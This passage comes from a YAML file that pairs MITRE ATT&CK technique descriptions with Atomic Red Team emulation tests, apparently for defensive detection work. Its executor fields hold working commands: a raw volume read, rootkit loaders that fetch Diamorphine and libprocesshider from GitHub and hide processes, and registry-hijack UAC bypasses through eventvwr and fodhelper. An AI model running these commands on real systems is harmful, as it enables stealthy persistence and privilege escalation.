[esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Tom Simpson, CrowdStrike Falcon OverWatch x_mitre_deprecated: false x_mitre_detection: |- Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy) Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Network x_mitre_version: '2.2' x_mitre_data_sources: - 'File: File Creation' - 'Drive: Drive Access' - 'Command: Command Execution' x_mitre_defense_bypassed: - File monitoring - File system access controls type: attack-pattern id: attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5 created: '2017-05-31T21:30:20.934Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1006 external_id: T1006 - source_name: Github PowerSploit Ninjacopy description: Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016. url: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1 - source_name: Hakobyan 2009 description: Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014. url: http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin - source_name: LOLBAS Esentutl description: LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019. url: https://lolbas-project.github.io/lolbas/Binaries/Esentutl/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1006 atomic_tests: - name: Read volume boot sector via DOS device path (PowerShell) auto_generated_guid: 88f6327e-51ec-4bbf-b2e8-3fea534eab8b description: |- This test uses PowerShell to open a handle on the drive volume via the `\\.\` [DOS device path specifier](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats#dos-device-paths) and perform direct access read of the first few bytes of the volume. On success, a hex dump of the first 11 bytes of the volume is displayed. For a NTFS volume, it should correspond to the following sequence ([NTFS partition boot sector](https://en.wikipedia.org/wiki/NTFS#Partition_Boot_Sector_(VBR))): ``` 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 00000000 EB 52 90 4E 54 46 53 20 20 20 20 ëR?NTFS ``` supported_platforms: - windows input_arguments: volume: description: Drive letter of the volume to access type: string default: 'C:' executor: command: | $buffer = New-Object byte[] 11 $handle = New-Object IO.FileStream "\\.\#{volume}", 'Open', 'Read', 'ReadWrite' $handle.Read($buffer, 0, $buffer.Length) $handle.Close() Format-Hex -InputObject $buffer name: powershell elevation_required: true T1564.008: technique: modified: '2023-10-16T16:41:53.957Z' name: Email Hiding Rules description: |- Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the New-InboxRule or Set-InboxRule [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule) Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account. Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as malware, suspicious, phish, and hack) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security) In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Dor Edry, Microsoft - Liran Ravich, CardinalOps x_mitre_deprecated: false x_mitre_detection: |- Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries. On Windows systems, monitor for creation of suspicious inbox rules through the use of the New-InboxRule and Set-InboxRule PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, and MessageRules.plist files.(Citation: MacOS Email Rules) x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows - Office 365 - Linux - macOS - Google Workspace x_mitre_version: '1.3' x_mitre_data_sources: - 'Command: Command Execution' - 'Application Log: Application Log Content' - 'File: File Modification' type: attack-pattern id: attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff created: '2021-06-07T13:20:23.767Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1564/008 external_id: T1564.008 - source_name: MacOS Email Rules description: Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021. url: https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac - source_name: Microsoft BEC Campaign description: 'Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.' url: https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/ - source_name: Microsoft Mail Flow Rules 2023 description: Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023. url: https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules - source_name: Microsoft Inbox Rules description: Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021. url: https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59 - source_name: Microsoft New-InboxRule description: Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021. url: https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps - source_name: Microsoft Set-InboxRule description: Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021. url: https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps - source_name: Microsoft Cloud App Security description: Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021. url: https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1027.013: technique: modified: '2024-04-19T04:03:07.164Z' name: Encrypted/Encoded File description: "Adversaries may encrypt or encode files to obfuscate strings, bytes, and other specific patterns to impede detection. Encrypting and/or encoding file content aims to conceal malicious artifacts within a file used in an intrusion. Many other techniques, such as [Software Packing](https://attack.mitre.org/techniques/T1027/002), [Steganography](https://attack.mitre.org/techniques/T1027/003), and [Embedded Payloads](https://attack.mitre.org/techniques/T1027/009), share this same broad objective. Encrypting and/or encoding files could lead to a lapse in detection of static signatures, only for this malicious content to be revealed (i.e., [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)) at the time of execution/use.\n\nThis type of file obfuscation can be applied to many file artifacts present on victim hosts, such as malware log/configuration and payload files.(Citation: File obfuscation) Files can be encrypted with a hardcoded or user-supplied key, as well as otherwise obfuscated using standard encoding/compression schemes such as Base64.\n\nThe entire content of a file may be obfuscated, or just specific functions or values (such as C2 addresses). Encryption and encoding may also be applied in redundant layers for additional protection.\n\nFor example, adversaries may abuse password-protected Word documents or self-extracting (SFX) archives as a method of encrypting/encoding a file such as a [Phishing](https://attack.mitre.org/techniques/T1566) payload. These files typically function by attaching the intended archived content to a decompressor stub that is executed when the file is invoked (e.g., [User Execution](https://attack.mitre.org/techniques/T1204)).(Citation: SFX - Encrypted/Encoded File) \n\nAdversaries may also abuse file-specific as well as custom encoding schemes. For example, Byte Order Mark (BOM) headers in text files may be abused to manipulate and obfuscate file content until [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) execution." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - David Galazin @themalwareman1 - Andrew Northern, @ex_raritas - Jai Minton, @Cyberraiju x_mitre_deprecated: false x_mitre_detection: '' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.0' x_mitre_data_sources: - 'File: File Creation' - 'File: File Metadata' type: attack-pattern id: attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144 created: '2024-03-29T12:38:17.135Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1027/013 external_id: T1027.013 - source_name: File obfuscation description: Aspen Lindblom, Joseph Goodwin, and Chris Sheldon. (2021, July 19). Shlayer Malvertising Campaigns Still Using Flash Update Disguise. Retrieved March 29, 2024. url: https://www.crowdstrike.com/blog/shlayer-malvertising-campaigns-still-using-flash-update-disguise/ - source_name: SFX - Encrypted/Encoded File description: Jai Minton. (2023, March 31). How Falcon OverWatch Investigates Malicious Self-Extracting Archives, Decoy Files and Their Hidden Payloads. Retrieved March 29, 2024. url: https://www.crowdstrike.com/blog/self-extracting-archives-decoy-files-and-their-hidden-payloads/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1014: technique: modified: '2023-05-09T14:00:00.188Z' name: Rootkit description: "Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) \n\nRootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a hypervisor, Master Boot Record, or [System Firmware](https://attack.mitre.org/techniques/T1542/001). (Citation: Wikipedia Rootkit) Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)" kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_attack_spec_version: 2.1.0 x_mitre_deprecated: false x_mitre_detection: 'Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_platforms: - Linux - macOS - Windows x_mitre_version: '1.1' x_mitre_data_sources: - 'Drive: Drive Modification' - 'Firmware: Firmware Modification' - 'File: File Modification' x_mitre_defense_bypassed: - Anti-virus - File Monitoring - Host Intrusion Prevention Systems - Application Control - Signature-based Detection - System Access Controls type: attack-pattern id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b created: '2017-05-31T21:30:26.496Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1014 external_id: T1014 - source_name: CrowdStrike Linux Rootkit description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017. url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - source_name: BlackHat Mac OSX Rootkit description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit uses the tricks you haven''t known yet. Retrieved December 21, 2017.' url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf - source_name: Symantec Windows Rootkits description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017. url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - source_name: Wikipedia Rootkit description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. url: https://en.wikipedia.org/wiki/Rootkit object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 spec_version: '2.1' identifier: T1014 atomic_tests: - name: Loadable Kernel Module based Rootkit auto_generated_guid: dfb50072-e45a-4c75-a17e-a484809c8553 description: 'Loadable Kernel Module based Rootkit ' supported_platforms: - linux input_arguments: rootkit_source_path: description: Path to the rootkit source. Used when prerequisites are fetched. type: path default: PathToAtomicsFolder/T1014/src/Linux rootkit_path: description: Path To rootkit type: string default: PathToAtomicsFolder/T1014/bin rootkit_name: description: Module name type: string default: T1014 dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location (#{rootkit_path}/#{rootkit_name}.ko) ' prereq_command: 'if [ -f #{rootkit_path}/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi; ' get_prereq_command: | sudo apt install make sudo apt install gcc if [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; fi; cp #{rootkit_source_path}/* /tmp/T1014/ cd /tmp/T1014; make mkdir #{rootkit_path} mv /tmp/T1014/#{rootkit_name}.ko #{rootkit_path}/#{rootkit_name}.ko rm -rf /tmp/T1014 executor: command: 'sudo insmod #{rootkit_path}/#{rootkit_name}.ko ' cleanup_command: | sudo rmmod #{rootkit_name} sudo rm -rf #{rootkit_path} name: sh elevation_required: true - name: Loadable Kernel Module based Rootkit auto_generated_guid: 75483ef8-f10f-444a-bf02-62eb0e48db6f description: 'Loadable Kernel Module based Rootkit ' supported_platforms: - linux input_arguments: rootkit_source_path: description: Path to the rootkit source. Used when prerequisites are fetched. type: path default: PathToAtomicsFolder/T1014/src/Linux rootkit_name: description: Module name type: string default: T1014 dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location (#{rootkit_source_path}/#{rootkit_name}.ko) ' prereq_command: 'if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi; ' get_prereq_command: "sudo apt install make\nsudo apt install gcc\nif [ ! -d /tmp/T1014 ]; then mkdir /tmp/T1014; touch /tmp/T1014/safe_to_delete; fi;\ncp #{rootkit_source_path}/* /tmp/T1014\ncd /tmp/T1014; make \nsudo cp /tmp/T1014/#{rootkit_name}.ko /lib/modules/$(uname -r)/\n[ -f /tmp/T1014/safe_to_delete ] && rm -rf /tmp/T1014\nsudo depmod -a\n" executor: command: 'sudo modprobe #{rootkit_name} ' cleanup_command: | sudo modprobe -r #{rootkit_name} sudo rm /lib/modules/$(uname -r)/#{rootkit_name}.ko sudo depmod -a name: sh elevation_required: true - name: dynamic-linker based rootkit (libprocesshider) auto_generated_guid: 1338bf0c-fd0c-48c0-9e65-329f18e2c0d3 description: 'Uses libprocesshider to simulate rootkit behavior by hiding a specific process name via ld.so.preload (see also T1574.006). ' supported_platforms: - linux input_arguments: repo: description: Url of the github repo zip type: string default: https://github.com/gianlucaborello/libprocesshider/ rev: description: Revision of the github repo zip type: string default: 25e0587d6bf2137f8792dc83242b6b0e5a72b415 library_path: description: Full path of the library to add to ld.so.preload type: string default: "/usr/local/lib/libprocesshider.so" dependency_executor_name: bash dependencies: - description: 'The preload library must exist on disk at specified location (#{library_path}) ' prereq_command: 'if [ -f #{library_path} ]; then exit 0; else exit 1; fi; ' get_prereq_command: | mkdir -p /tmp/atomic && cd /tmp/atomic curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd libprocesshider-#{rev} make cp libprocesshider.so #{library_path} cp /usr/bin/ping /usr/local/bin/evil_script.py executor: command: | echo #{library_path} | tee -a /etc/ld.so.preload /usr/local/bin/evil_script.py localhost -c 10 >/dev/null & pgrep -l evil_script.py || echo "process hidden" cleanup_command: | sed -i "\:^#{library_path}:d" /etc/ld.so.preload rm -rf #{library_path} /usr/local/bin/evil_script.py /tmp/atomic name: sh elevation_required: true - name: Loadable Kernel Module based Rootkit (Diamorphine) auto_generated_guid: 0b996469-48c6-46e2-8155-a17f8b6c2247 description: 'Loads Diamorphine kernel module, which hides itself and a processes. ' supported_platforms: - linux input_arguments: repo: description: Url of the diamorphine github repo type: string default: https://github.com/m0nad/Diamorphine/ rev: description: Revision of the github repo zip type: string default: 898810523aa2033f582a4a5903ffe453334044f9 rootkit_name: description: Module name type: string default: diamorphine dependency_executor_name: bash dependencies: - description: 'The kernel module must exist on disk at specified location (#{rootkit_name}.ko) ' prereq_command: 'if [ -f /lib/modules/$(uname -r)/#{rootkit_name}.ko ]; then exit 0; else exit 1; fi; ' get_prereq_command: | mkdir -p /tmp/atomic && cd /tmp/atomic curl -sLO #{repo}/archive/#{rev}.zip && unzip #{rev}.zip && cd Diamorphine-#{rev} make sudo cp #{rootkit_name}.ko /lib/modules/$(uname -r)/ sudo depmod -a executor: command: | sudo modprobe #{rootkit_name} ping -c 10 localhost >/dev/null & TARGETPID="$!" ps $TARGETPID kill -31 $TARGETPID ps $TARGETPID || echo "process ${TARGETPID} hidden" cleanup_command: | kill -63 1 sudo modprobe -r #{rootkit_name} sudo rm -rf /lib/modules/$(uname -r)/#{rootkit_name}.ko /tmp/atomic sudo depmod -a name: sh elevation_required: true T1036.007: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e type: attack-pattern created: '2021-08-04T20:54:03.066Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1036.007 url: https://attack.mitre.org/techniques/T1036/007 - source_name: PCMag DoubleExtension url: https://www.pcmag.com/encyclopedia/term/double-extension description: 'PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021.' - source_name: SOCPrime DoubleExtension url: https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/ description: 'Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021.' - source_name: Seqrite DoubleExtension url: https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/ description: Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021. modified: '2022-04-25T14:00:00.188Z' name: Double File Extension description: "Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: File.txt.exe may render in some views as just File.txt). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named Evil.txt.exe may display as Evil.txt to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type." kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'File: File Creation' - 'File: File Metadata' spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1548.002: technique: modified: '2023-05-09T14:00:00.188Z' name: 'Abuse Elevation Control Mechanism: Bypass User Account Control' description: |- Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows) Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: * eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit) Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - Stefan Kanthak - Casey Smith x_mitre_deprecated: false x_mitre_detection: |- There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: * The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass) * The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe and [HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass) Analysts should monitor these Registry settings for unauthorized changes. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: true x_mitre_platforms: - Windows x_mitre_version: '2.1' x_mitre_data_sources: - 'Windows Registry: Windows Registry Key Modification' - 'Command: Command Execution' - 'Process: Process Creation' - 'Process: Process Metadata' x_mitre_defense_bypassed: - Windows User Account Control x_mitre_effective_permissions: - Administrator x_mitre_permissions_required: - Administrator - User type: attack-pattern id: attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073 created: '2020-01-30T14:24:34.977Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1548/002 external_id: T1548.002 - source_name: Davidson Windows description: Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014. url: http://www.pretentiousname.com/misc/win7_uac_whitelist2.html - source_name: TechNet How UAC Works description: Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016. url: https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works - source_name: SANS UAC Bypass description: Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016. url: http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass - source_name: MSDN COM Elevation description: Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016. url: https://msdn.microsoft.com/en-us/library/ms679687.aspx - source_name: enigma0x3 Fileless UAC Bypass description: Nelson, M. (2016, August 15). "Fileless" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016. url: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ - source_name: enigma0x3 sdclt app paths description: Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017. url: https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/ - source_name: enigma0x3 sdclt bypass description: Nelson, M. (2017, March 17). "Fileless" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017. url: https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/ - source_name: TechNet Inside UAC description: 'Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.' url: https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx - source_name: Fortinet Fareit description: Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016. url: https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware - source_name: Github UACMe description: UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016. url: https://github.com/hfiref0x/UACME object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1548.002 atomic_tests: - name: Bypass UAC using Event Viewer (cmd) auto_generated_guid: 5073adf8-9a50-4bd9-b298-a9bd2ead8af9 description: "Bypasses User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/\nUpon execution command prompt should be launched with administrative privileges. \n" supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | reg.exe add hkcu\software\classes\mscfile\shell\open\command /ve /d "#{executable_binary}" /f cmd.exe /c eventvwr.msc cleanup_command: 'reg.exe delete hkcu\software\classes\mscfile /f >nul 2>&1 ' name: command_prompt - name: Bypass UAC using Event Viewer (PowerShell) auto_generated_guid: a6ce9acf-842a-4af6-8f79-539be7608e2b description: | PowerShell code to bypass User Account Control using Event Viewer and a relevant Windows Registry modification. More information here - https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/ Upon execution command prompt should be launched with administrative privalages supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | New-Item "HKCU:\software\classes\mscfile\shell\open\command" -Force Set-ItemProperty "HKCU:\software\classes\mscfile\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\eventvwr.msc" cleanup_command: 'Remove-Item "HKCU:\software\classes\mscfile" -force -Recurse -ErrorAction Ignore ' name: powershell - name: Bypass UAC using Fodhelper auto_generated_guid: 58f641ea-12e3-499a-b684-44dee46bd182 description: | Bypasses User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution, "The operation completed successfully." will be shown twice and command prompt will be opened. supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | reg.exe add hkcu\software\classes\ms-settings\shell\open\command /ve /d "#{executable_binary}" /f reg.exe add hkcu\software\classes\ms-settings\shell\open\command /v "DelegateExecute" /f fodhelper.exe cleanup_command: 'reg.exe delete hkcu\software\classes\ms-settings /f >nul 2>&1 ' name: command_prompt - name: Bypass UAC using Fodhelper - PowerShell auto_generated_guid: 3f627297-6c38-4e7d-a278-fc2563eaaeaa description: | PowerShell code to bypass User Account Control using the Windows 10 Features on Demand Helper (fodhelper.exe). Requires Windows 10. Upon execution command prompt will be opened. supported_platforms: - windows input_arguments: executable_binary: description: Binary to execute with UAC Bypass type: path default: C:\Windows\System32\cmd.exe executor: command: | New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force New-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force Start-Process "C:\Windows\System32\fodhelper.exe" cleanup_command: 'Remove-Item "HKCU:\software\classes\ms-settings" -force -Recurse -ErrorAction 